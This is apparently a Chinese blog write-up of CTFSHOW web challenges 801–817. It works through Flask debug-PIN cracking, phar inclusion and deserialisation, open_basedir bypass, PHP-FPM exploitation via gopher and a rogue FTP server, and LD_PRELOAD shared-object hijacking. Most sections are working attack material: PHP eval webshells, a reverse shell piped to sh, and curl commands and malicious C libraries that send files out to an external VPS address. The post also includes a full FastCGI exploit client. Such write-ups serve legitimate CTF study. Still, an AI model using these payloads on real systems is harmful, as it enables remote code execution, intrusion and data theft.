devbox
菜鸟追梦旅行
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

【Web】CTFSHOW 常用姿势刷题记录(全)_ctfshow全

作者：菜鸟追梦旅行 | 2024-04-27 16:53:52

赞

踩

ctfshow全

目录

web801

web802

web803

web804

web805

web806

web807

法一：反弹shell

法二：vps外带

web808

web809

web810

web811

web812

web813

web814

web815

web816

web817

web818

web819

web820

web821

web822

web823

web824

web825

web826

web827

web828

web829

web830

web831

web801

flask算PIN，这篇文章有写：https://z3r4y.blog.csdn.net/article/details/134494238

初始界面：

访问/console，开启了debug模式

 /file?filename=suibian，随便传个值让flask报错，看到app路径为

/usr/local/lib/python3.8/site-packages/flask/app.py

/file?filename=/sys/class/net/eth0/address，读getNode得到uuid

 0242ac0c9f9c，十六进制再转十进制

2485377605532

/file?filename=/proc/sys/kernel/random/boot_id

225374fa-04bc-4346-9f39-48fa82829ca9 

/file?filename=/proc/self/cgroup 

 b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

二者拼接一下得到machine_id

225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

用下面的脚本算pin

  1. import hashlib
  2. from itertools import chain
  3.  
  4.  
  5. def getPIN(public_bits, private_bits):
  6.     rv = None
  7.     num = None
  8.     h = hashlib.sha1()
  9.     for bit in chain(public_bits, private_bits):
  10.         if not bit:
  11.             continue
  12.         if isinstance(bit, str):
  13.             bit = bit.encode("utf-8")
  14.         h.update(bit)
  15.     h.update(b"cookiesalt")
  16.  
  17.     cookie_name = f"__wzd{h.hexdigest()[:20]}"
  18.  
  19.     # If we need to generate a pin we salt it a bit more so that we don't
  20.     # end up with the same value and generate out 9 digits
  21.     if num is None:
  22.         h.update(b"pinsalt")
  23.         num = f"{int(h.hexdigest(), 16):09d}"[:9]
  24.     # Format the pincode in groups of digits for easier remembering if
  25.     # we don't have a result yet.
  26.     if rv is None:
  27.         for group_size in 5, 4, 3:
  28.             if len(num) % group_size == 0:
  29.                 rv = "-".join(
  30.                     num[x: x + group_size].rjust(group_size, "0")
  31.                     for x in range(0, len(num), group_size)
  32.                 )
  33.                 break
  34.         else:
  35.             rv = num
  36.  
  37.     return rv, cookie_name
  38.  
  39.  
  40. if __name__ == "__main__":
  41.     public_bits = [
  42.         'root',
  43.         'flask.app',
  44.         'Flask',
  45.         '/usr/local/lib/python3.8/site-packages/flask/app.py'
  46.     ]
  47.  
  48.     private_bits = [
  49.         '2485377605532',
  50.         '225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
  51.     ]
  52.  
  53.     PIN = getPIN(public_bits, private_bits)
  54.     print(PIN)

访问/console，输入pin值，拿到交互式console

直接代码执行就可

 web802

无字母数字命令执行，可以看看这篇文章：https://z3r4y.blog.csdn.net/article/details/134338909

只ban了字母数字，不要太友好

最方便的就是取反

  1. <?php
  2.  
  3. function negateRce(){
  4.     fwrite(STDOUT,'[+]your function: ');
  5.  
  6.     $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  7.  
  8.     fwrite(STDOUT,'[+]your command: ');
  9.  
  10.     $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  11.  
  12.     echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  13. }
  14.  
  15. negateRce();

web803

phar文件包含

 没有文件上传点，只能强制文件上传了，发现会立刻删除，走条件竞争有点哈皮，题目里给了写文件的else分支，利用即可，先写恶意文件，再包含恶意文件。

  1. <?php
  2. $phar = new Phar("test.phar");
  3. $phar->startBuffering();
  4. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  5. $phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
  6. $phar->stopBuffering();
  7. ?>
  1. import requests
  2. url="http://ae901965-37ad-47cb-b923-7be4020cf94a.challenge.ctf.show/"
  3.  
  4. file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
  5. data={'file':'phar:///tmp/a.phar/a','content':'suibian','1':'system("cat f*");'}
  6. requests.post(url,data=file)
  7. r=requests.post(url,data=data)
  8. print(r.text)

web804

phar反序列化,可以看看这两篇文章：

https://z3r4y.blog.csdn.net/article/details/134479335

【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客

 file_exists触发反序列化

  1. <?php
  2. class hacker{
  3.     public $code;
  4.     public function __destruct(){
  5.         eval($this->code);
  6.     }
  7. }
  8. $a=new hacker();
  9. $a->code="system('cat f*');";
  10.  
  11.  
  12. $phar = new Phar("test.phar"); //后缀名必须为phar
  13. $phar->startBuffering();
  14. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  15. $phar->setMetadata($a); //将自定义的meta-data存入manifest
  16. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
  17. $phar->stopBuffering();
  18.  
  19. ?><?php
  1. import requests
  2. url="http://5d5c1d43-55e2-45d0-877a-ef8da113932e.challenge.ctf.show/"
  3.  
  4. file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
  5. data={'file':'phar:///tmp/a.phar','content':'suibian'}
  6. requests.post(url,data=file)
  7. r=requests.post(url,data=data)
  8. print(r.text)

web805

open_basedir绕过 可以看看这篇文章：

从0学习bypass open_basedir姿势 - 先知社区

先看下函数禁用

1=phpinfo();

可以看到命令执行的函数都被ban了，那读文件可以用readfile函数

 payload:

1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

web806

php无参RCE，可以看这篇文章：https://xz.aliyun.com/t/9360

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag');

web807

法一：反弹shell

推荐一个网站：https://your-shell.com/

傻瓜型反弹shell，我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行：

法二：vps外带

?url=https://;curl http://124.222.136.33:1338?flag=`cat /*`

注意一些特殊符号带不出来

web808

临时文件包含，做过临时文件包含的师傅都知道复现的难度有多大，所以建议直接session文件包含

 用下面脚本打就可

  1. import requests
  2. import threading
  3.  
  4. session = requests.session()
  5.  
  6. sess = "ctfshow"
  7.  
  8. file_name = "/var/www/html/1.php"
  9. file_content = '<?php eval($_POST[1]);?>'
  10.  
  11. url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"
  12.  
  13. data = {
  14.     "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
  15. }
  16.  
  17. file = {
  18.     'file': 'ctfshow'
  19. }
  20.  
  21. cookies = {
  22.     'PHPSESSID': sess
  23. }
  24.  
  25.  
  26. def write():
  27.     while True:
  28.         r = session.post(url=url, data=data, files=file, cookies=cookies)
  29.  
  30.  
  31. def read():
  32.     while True:
  33.         r = session.post(url=url + "?file=/tmp/sess_ctfshow")
  34.         if "success" in r.text:
  35.             print("shell 地址为：" + url + "1.php")
  36.             exit()
  37.  
  38.  
  39. if __name__ == "__main__":
  40.     event = threading.Event()
  41.     with requests.session() as session:
  42.         for i in range(1, 30):
  43.             threading.Thread(target=write).start()
  44.         for i in range(1, 30):
  45.             threading.Thread(target=read).start()
  46.     event.set()

web809

pear文件包含/RCE

都用bp发包

可以在/tmp目录下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

因为tmp是根目录下的，只能配合文件包含来利用

  1. ?file=/tmp/test.php
  2.  
  3. cmd=system('cat+/f*');

 也可以直接在/var/www/html下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

然后直接访问/test.php即可，方便一点

web810

SSRF打PHP-FPM，就是SSRF打中间件的套路

PHP-FPM 是基于 FastCGI 协议的 PHP 进程管理器

相关知识可以看这篇文章：

https://xz.aliyun.com/t/9544

直接gopherus乱打

_后内容再url编码一次

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

file_put_contents打PHP-FPM，可以看看这篇文章：PHP-FPM攻击详解 - 跳跳糖

这题没有写文件的权限，可以考虑ftp打php-fpm

按部就班复现就行，但好像不能反弹shell，可以考虑信息外带

 起个恶意ftp服务器，把恶意数据流转发到127.0.0.1:9000

  1. import socket
  2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3. s.bind(('0.0.0.0',1338)) #端口可改
  4. s.listen(1)
  5. conn, addr = s.accept()
  6. conn.send(b'220 welcome\n')
  7. #Service ready for new user.
  8. #Client send anonymous username
  9. #USER anonymous
  10. conn.send(b'331 Please specify the password.\n')
  11. #User name okay, need password.
  12. #Client send anonymous password.
  13. #PASS anonymous
  14. conn.send(b'230 Login successful.\n')
  15. #User logged in, proceed. Logged out if appropriate.
  16. #TYPE I
  17. conn.send(b'200 Switching to Binary mode.\n')
  18. #Size /
  19. conn.send(b'550 Could not get the file size.\n')
  20. #EPSV (1)
  21. conn.send(b'150 ok\n')
  22. #PASV
  23. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
  24. conn.send(b'150 Permission denied.\n')
  25. #QUIT
  26. conn.send(b'221 Goodbye.\n')
  27. conn.close()

最终payload:

?file=ftp://124.222.136.33:1338/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00a%04%00%3C%3Fphp%20system%28%27curl%20http%3A//124.222.136.33%3A1337%3Fflag%3D%60cat%20/%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web812

PHP-FPM未授权

脚本：

  1. import socket
  2. import random
  3. import argparse
  4. import sys
  5. from io import BytesIO
  6.  
  7. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  8.  
  9. PY2 = True if sys.version_info.major == 2 else False
  10.  
  11.  
  12. def bchr(i):
  13.     if PY2:
  14.         return force_bytes(chr(i))
  15.     else:
  16.         return bytes([i])
  17.  
  18. def bord(c):
  19.     if isinstance(c, int):
  20.         return c
  21.     else:
  22.         return ord(c)
  23.  
  24. def force_bytes(s):
  25.     if isinstance(s, bytes):
  26.         return s
  27.     else:
  28.         return s.encode('utf-8', 'strict')
  29.  
  30. def force_text(s):
  31.     if issubclass(type(s), str):
  32.         return s
  33.     if isinstance(s, bytes):
  34.         s = str(s, 'utf-8', 'strict')
  35.     else:
  36.         s = str(s)
  37.     return s
  38.  
  39.  
  40. class FastCGIClient:
  41.     """A Fast-CGI Client for Python"""
  42.  
  43.     # private
  44.     __FCGI_VERSION = 1
  45.  
  46.     __FCGI_ROLE_RESPONDER = 1
  47.     __FCGI_ROLE_AUTHORIZER = 2
  48.     __FCGI_ROLE_FILTER = 3
  49.  
  50.     __FCGI_TYPE_BEGIN = 1
  51.     __FCGI_TYPE_ABORT = 2
  52.     __FCGI_TYPE_END = 3
  53.     __FCGI_TYPE_PARAMS = 4
  54.     __FCGI_TYPE_STDIN = 5
  55.     __FCGI_TYPE_STDOUT = 6
  56.     __FCGI_TYPE_STDERR = 7
  57.     __FCGI_TYPE_DATA = 8
  58.     __FCGI_TYPE_GETVALUES = 9
  59.     __FCGI_TYPE_GETVALUES_RESULT = 10
  60.     __FCGI_TYPE_UNKOWNTYPE = 11
  61.  
  62.     __FCGI_HEADER_SIZE = 8
  63.  
  64.     # request state
  65.     FCGI_STATE_SEND = 1
  66.     FCGI_STATE_ERROR = 2
  67.     FCGI_STATE_SUCCESS = 3
  68.  
  69.     def __init__(self, host, port, timeout, keepalive):
  70.         self.host = host
  71.         self.port = port
  72.         self.timeout = timeout
  73.         if keepalive:
  74.             self.keepalive = 1
  75.         else:
  76.             self.keepalive = 0
  77.         self.sock = None
  78.         self.requests = dict()
  79.  
  80.     def __connect(self):
  81.         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  82.         self.sock.settimeout(self.timeout)
  83.         self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  84.         # if self.keepalive:
  85.         #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  86.         # else:
  87.         #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  88.         try:
  89.             self.sock.connect((self.host, int(self.port)))
  90.         except socket.error as msg:
  91.             self.sock.close()
  92.             self.sock = None
  93.             print(repr(msg))
  94.             return False
  95.         return True
  96.  
  97.     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  98.         length = len(content)
  99.         buf = bchr(FastCGIClient.__FCGI_VERSION) \
  100.                + bchr(fcgi_type) \
  101.                + bchr((requestid >> 8) & 0xFF) \
  102.                + bchr(requestid & 0xFF) \
  103.                + bchr((length >> 8) & 0xFF) \
  104.                + bchr(length & 0xFF) \
  105.                + bchr(0) \
  106.                + bchr(0) \
  107.                + content
  108.         return buf
  109.  
  110.     def __encodeNameValueParams(self, name, value):
  111.         nLen = len(name)
  112.         vLen = len(value)
  113.         record = b''
  114.         if nLen < 128:
  115.             record += bchr(nLen)
  116.         else:
  117.             record += bchr((nLen >> 24) | 0x80) \
  118.                       + bchr((nLen >> 16) & 0xFF) \
  119.                       + bchr((nLen >> 8) & 0xFF) \
  120.                       + bchr(nLen & 0xFF)
  121.         if vLen < 128:
  122.             record += bchr(vLen)
  123.         else:
  124.             record += bchr((vLen >> 24) | 0x80) \
  125.                       + bchr((vLen >> 16) & 0xFF) \
  126.                       + bchr((vLen >> 8) & 0xFF) \
  127.                       + bchr(vLen & 0xFF)
  128.         return record + name + value
  129.  
  130.     def __decodeFastCGIHeader(self, stream):
  131.         header = dict()
  132.         header['version'] = bord(stream[0])
  133.         header['type'] = bord(stream[1])
  134.         header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  135.         header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  136.         header['paddingLength'] = bord(stream[6])
  137.         header['reserved'] = bord(stream[7])
  138.         return header
  139.  
  140.     def __decodeFastCGIRecord(self, buffer):
  141.         header = buffer.read(int(self.__FCGI_HEADER_SIZE))
  142.  
  143.         if not header:
  144.             return False
  145.         else:
  146.             record = self.__decodeFastCGIHeader(header)
  147.             record['content'] = b''
  148.             
  149.             if 'contentLength' in record.keys():
  150.                 contentLength = int(record['contentLength'])
  151.                 record['content'] += buffer.read(contentLength)
  152.             if 'paddingLength' in record.keys():
  153.                 skiped = buffer.read(int(record['paddingLength']))
  154.             return record
  155.  
  156.     def request(self, nameValuePairs={}, post=''):
  157.         if not self.__connect():
  158.             print('connect failure! please check your fasctcgi-server !!')
  159.             return
  160.  
  161.         requestId = random.randint(1, (1 << 16) - 1)
  162.         self.requests[requestId] = dict()
  163.         request = b""
  164.         beginFCGIRecordContent = bchr(0) \
  165.                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  166.                                  + bchr(self.keepalive) \
  167.                                  + bchr(0) * 5
  168.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  169.                                               beginFCGIRecordContent, requestId)
  170.         paramsRecord = b''
  171.         if nameValuePairs:
  172.             for (name, value) in nameValuePairs.items():
  173.                 name = force_bytes(name)
  174.                 value = force_bytes(value)
  175.                 paramsRecord += self.__encodeNameValueParams(name, value)
  176.  
  177.         if paramsRecord:
  178.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  179.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
  180.  
  181.         if post:
  182.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  183.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
  184.  
  185.         self.sock.send(request)
  186.         self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  187.         self.requests[requestId]['response'] = b''
  188.         return self.__waitForResponse(requestId)
  189.  
  190.     def __waitForResponse(self, requestId):
  191.         data = b''
  192.         while True:
  193.             buf = self.sock.recv(512)
  194.             if not len(buf):
  195.                 break
  196.             data += buf
  197.  
  198.         data = BytesIO(data)
  199.         while True:
  200.             response = self.__decodeFastCGIRecord(data)
  201.             if not response:
  202.                 break
  203.             if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  204.                     or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  205.                 if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  206.                     self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  207.                 if requestId == int(response['requestId']):
  208.                     self.requests[requestId]['response'] += response['content']
  209.             if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  210.                 self.requests[requestId]
  211.         return self.requests[requestId]['response']
  212.  
  213.     def __repr__(self):
  214.         return "fastcgi connect host:{} port:{}".format(self.host, self.port)
  215.  
  216.  
  217. if __name__ == '__main__':
  218.     parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  219.     parser.add_argument('host', help='Target host, such as 127.0.0.1')
  220.     parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  221.     parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
  222.     parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
  223.  
  224.     args = parser.parse_args()
  225.  
  226.     client = FastCGIClient(args.host, args.port, 3, 0)
  227.     params = dict()
  228.     documentRoot = "/"
  229.     uri = args.file
  230.     content = args.code
  231.     params = {
  232.         'GATEWAY_INTERFACE': 'FastCGI/1.0',
  233.         'REQUEST_METHOD': 'POST',
  234.         'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  235.         'SCRIPT_NAME': uri,
  236.         'QUERY_STRING': '',
  237.         'REQUEST_URI': uri,
  238.         'DOCUMENT_ROOT': documentRoot,
  239.         'SERVER_SOFTWARE': 'php/fcgiclient',
  240.         'REMOTE_ADDR': '127.0.0.1',
  241.         'REMOTE_PORT': '9985',
  242.         'SERVER_ADDR': '127.0.0.1',
  243.         'SERVER_PORT': '80',
  244.         'SERVER_NAME': "localhost",
  245.         'SERVER_PROTOCOL': 'HTTP/1.1',
  246.         'CONTENT_TYPE': 'application/text',
  247.         'CONTENT_LENGTH': "%d" % len(content),
  248.         'PHP_VALUE': 'auto_prepend_file = php://input',
  249.         'PHP_ADMIN_VALUE': 'allow_url_include = On'
  250.     }
  251.     response = client.request(params, content)
  252.     print(force_text(response))

最终payload:

python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813

劫持mysqli

利用条件：

1.拓展目录明确且可写

2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)

3.有调用我们自定义函数的代码

通过将常用的函数、类和数据打包成.so 文件，不同的程序可以共享这些代码，避免重复编写和维护相同的代码逻辑，提高了代码的重用性。

php -r 是 PHP 命令行工具的一个参数，用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数，可以方便快捷地在命令行中执行一行简单的 PHP 代码。

使用格式为：php -r 'php code here'

注册函数找不到就去拓展目录找so文件，调用ctfshow函数的时候就会去so文件里面找，这题就是mysqli.so了，而mysqli.so已经被我们所覆写，从而执行恶意代码

(关于为啥要用命令行，因为命令行就是每次将拓展载入，使用，销毁)

我们接下来的工作只要劫持(改写)被调用的so文件即可，这一题就是mysqli.so

phpinfo看一眼路径

我用的php源码是7.3.22的，用其自带的ext_skel.php来生成so文件

具体流程如下：

  1. php ext_skel.php --ext ctfshow --std
  2. cd ctfshow
  3. 修改ctfshow.c的源码
  4. phpize
  5. ./configure
  6. make && make install

贴出ctfshow.c(注意这里的system是c语言的system，而非php的system，哪怕system被disable_function禁用了也不受影响)

  1. #ifdef HAVE_CONFIG_H
  2. # include "config.h"
  3. #endif
  4.  
  5. #include "php.h"
  6. #include "ext/standard/info.h"
  7. #include "php_ctfshow.h"
  8.  
  9. /* For compatibility with older PHP versions */
  10. #ifndef ZEND_PARSE_PARAMETERS_NONE
  11. #define ZEND_PARSE_PARAMETERS_NONE() \
  12. 	ZEND_PARSE_PARAMETERS_START(0, 0) \
  13. 	ZEND_PARSE_PARAMETERS_END()
  14. #endif
  15.  
  16. /* {{{ void ctfshow_test1()
  17.  */
  18. PHP_FUNCTION(ctfshow)
  19. {
  20. 	ZEND_PARSE_PARAMETERS_NONE();
  22. 	system("curl 124.222.136.33:1337?flag=`cat /f*`");
  23. }
  24. /* }}} */
  25.  
  26. /* {{{ string ctfshow_test2( [ string $var ] )
  27.  */
  28. PHP_FUNCTION(ctfshow_test2)
  29. {
  30. 	char *var = "World";
  31. 	size_t var_len = sizeof("World") - 1;
  32. 	zend_string *retval;
  34. 	ZEND_PARSE_PARAMETERS_START(0, 1)
  35. 		Z_PARAM_OPTIONAL
  36. 		Z_PARAM_STRING(var, var_len)
  37. 	ZEND_PARSE_PARAMETERS_END();
  39. 	retval = strpprintf(0, "Hello %s", var);
  41. 	RETURN_STR(retval);
  42. }
  43. /* }}}*/
  44.  
  45. /* {{{ PHP_RINIT_FUNCTION
  46.  */
  47. PHP_RINIT_FUNCTION(ctfshow)
  48. {
  49. #if defined(ZTS) && defined(COMPILE_DL_CTFSHOW)
  50. 	ZEND_TSRMLS_CACHE_UPDATE();
  51. #endif
  53. 	return SUCCESS;
  54. }
  55. /* }}} */
  56.  
  57. /* {{{ PHP_MINFO_FUNCTION
  58.  */
  59. PHP_MINFO_FUNCTION(ctfshow)
  60. {
  61. 	php_info_print_table_start();
  62. 	php_info_print_table_header(2, "ctfshow support", "enabled");
  63. 	php_info_print_table_end();
  64. }
  65. /* }}} */
  66.  
  67. /* {{{ arginfo
  68.  */
  69. ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test1, 0)
  70. ZEND_END_ARG_INFO()
  72. ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test2, 0)
  73. 	ZEND_ARG_INFO(0, str)
  74. ZEND_END_ARG_INFO()
  75. /* }}} */
  76.  
  77. /* {{{ ctfshow_functions[]
  78.  */
  79. static const zend_function_entry ctfshow_functions[] = {
  80. 	PHP_FE(ctfshow,		arginfo_ctfshow_test1)
  81. 	PHP_FE(ctfshow_test2,		arginfo_ctfshow_test2)
  82. 	PHP_FE_END
  83. };
  84. /* }}} */
  85.  
  86. /* {{{ ctfshow_module_entry
  87.  */
  88. zend_module_entry ctfshow_module_entry = {
  89. 	STANDARD_MODULE_HEADER,
  90. 	"ctfshow",					/* Extension name */
  91. 	ctfshow_functions,			/* zend_function_entry */
  92. 	NULL,							/* PHP_MINIT - Module initialization */
  93. 	NULL,							/* PHP_MSHUTDOWN - Module shutdown */
  94. 	PHP_RINIT(ctfshow),			/* PHP_RINIT - Request initialization */
  95. 	NULL,							/* PHP_RSHUTDOWN - Request shutdown */
  96. 	PHP_MINFO(ctfshow),			/* PHP_MINFO - Module info */
  97. 	PHP_CTFSHOW_VERSION,		/* Version */
  98. 	STANDARD_MODULE_PROPERTIES
  99. };
  100. /* }}} */
  101.  
  102. #ifdef COMPILE_DL_CTFSHOW
  103. # ifdef ZTS
  104. ZEND_TSRMLS_CACHE_DEFINE()
  105. # endif
  106. ZEND_GET_MODULE(ctfshow)
  107. #endif
  108.  
  109. /*
  110.  * Local variables:
  111.  * tab-width: 4
  112.  * c-basic-offset: 4
  113.  * End:
  114.  */

要把二进制文件流写入靶机mysqli.so文件中，写脚本即可

  1. import requests
  2. url="http://7f163334-7227-417a-b019-05dd12755970.challenge.ctf.show/"
  3. data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
  4. r1 = requests.post(url+'?a=write',data=data)
  5. print(r1.content)
  6. r2 = requests.get(url+'?a=run')
  7. print(r2.content)

监听，外带

web814

劫持getuid 

利用条件：

1.有文件写入点 2.可执行putenv命令 3.执行了可以生成新进程的函数

php中可以产生新进程的函数：

1.命令执行类：system shell_exec exec passthru

2.进程类：proc_open popen pcntl

3.外部程序调用类：mail imap_mail

4.拓展缺陷类：imagick      

 关于LD_PRELOAD:LD_PRELOAD 是一个用于动态链接器的环境变量，它可以指定一个共享库（通常是一个预加载库），在程序启动时优先加载该库，覆盖系统默认的同名函数。LD_PRELOAD 的作用主要是用来干预程序的动态链接过程，通过提供自定义的共享库，可以重定义或增强程序中的特定函数的行为。

关于getuid:在php中，如果要启动一个新的进程，那么这个进程会调用getuid函数，如果通过环境变量LD_PRELOAD指定恶意的so文件，那么只要新建进程，就会执行我们的恶意代码。这里的system就起到了新建进程的作用。

web814.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void payload(){
  5.         system("curl http://124.222.136.33:1337?flag=`cat /f*`");
  6. }
  7. int getuid()
  8. {
  9.         if(getenv("LD_PRELOAD")==NULL){ return 0;}
  10.         unsetenv("LD_PRELOAD");
  11.         payload();
  12. }

依次执行，生成恶意so文件

  1. gcc -c -fPIC web814.c -o exp
  2. gcc --share exp -o exp.so

写脚本(添加LD_PRELOAD加载恶意so文件覆写getuid)

  1. import requests
  2. url="http://1bf3813f-c8e6-4e42-9732-07e5b46c496e.challenge.ctf.show/"
  3. data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
  4. requests.post(url+'?a=write',data=data)
  5. requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听，外带

web815

劫持构造器

在 C 语言中，attribute((constructor)) 是一种扩展修饰符，用于指定一个函数作为在程序启动时自动执行的构造函数。当使用了这个修饰符之后，这个函数会在程序运行之前被自动调用，用于执行一些初始化操作。

使用 attribute((constructor)) 修饰的函数会在 main 函数执行之前被调用，并且可以有多个这样的构造函数，它们的调用顺序取决于编译器和链接器的实现。

也就是说只要启动新进程，就会统一调用这个恶意构造函数，比web814更通用，原理基本一致。

这里mail()起到了新建进程的作用，直接打LD_PRELOAD

web815.c

  1. #define _GNU_SOURCE
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. extern char** environ;
  6.  
  7. __attribute__ ((__constructor__)) void hack(void)
  8. {
  9. unsetenv("LD_PRELOAD");
  10. system("curl http://124.222.136.33:1337?flag=`cat /f*`");
  11. }

 生成恶意so文件

gcc -c -fPIC web815.c -o exp&&gcc --share exp -o exp.so

拿脚本打

  1. import requests
  2. url="http://9049c4b6-7b93-431d-a82b-907f48363ee1.challenge.ctf.show/"
  3. data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
  4. requests.post(url+'?a=write',data=data)
  5. requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听，外带

 

web816

临时文件利用

so文件拓展是system新建进程触发的，原理和上题一样，但用的是临时文件上传的方式写文件(这题/tmp目录有写文件的权限，所以不需要条件竞争)

关于这里为啥是[2]？因为如果tmp目录为空，第一个是.目录，第二个是..目录，第三个元素就是我们上传的临时文件名

用的还是web815的so文件

  1. import requests
  2. url="http://d232d316-e893-4ab6-8525-726550153e15.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
  3. file={'file':open('exp.so','rb').read()}
  4. res=requests.post(url,files=file)

监听，外带

web817

题目源码

  1. $file = $_GET['file'];
  2. if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
  3. 	shell_exec(shell_exec("cat $file"));
  4.  
  5. }

正则意思是匹配以斜杠开头，后跟一个或多个字母数字字符和斜杠的字符串

然后无回显执行一个文件的内容

这题考的是nginx的body缓存机制，恶意so文件如果字节数小于16K，我们可以手工膨胀到16K以上，在恶意so文件加入无关字节，有可能将我们的恶意so文件通过缓存文件形式暂时保留。
在上传文件被删除后，还继续进行了修改和访问，可以通过访问/proc/pid/fd/xxx访问被删除的文件
可以一边post传数据，一边读fd下文件

可以参考这篇文章：LFI to RCE – AndyNoel's Blog

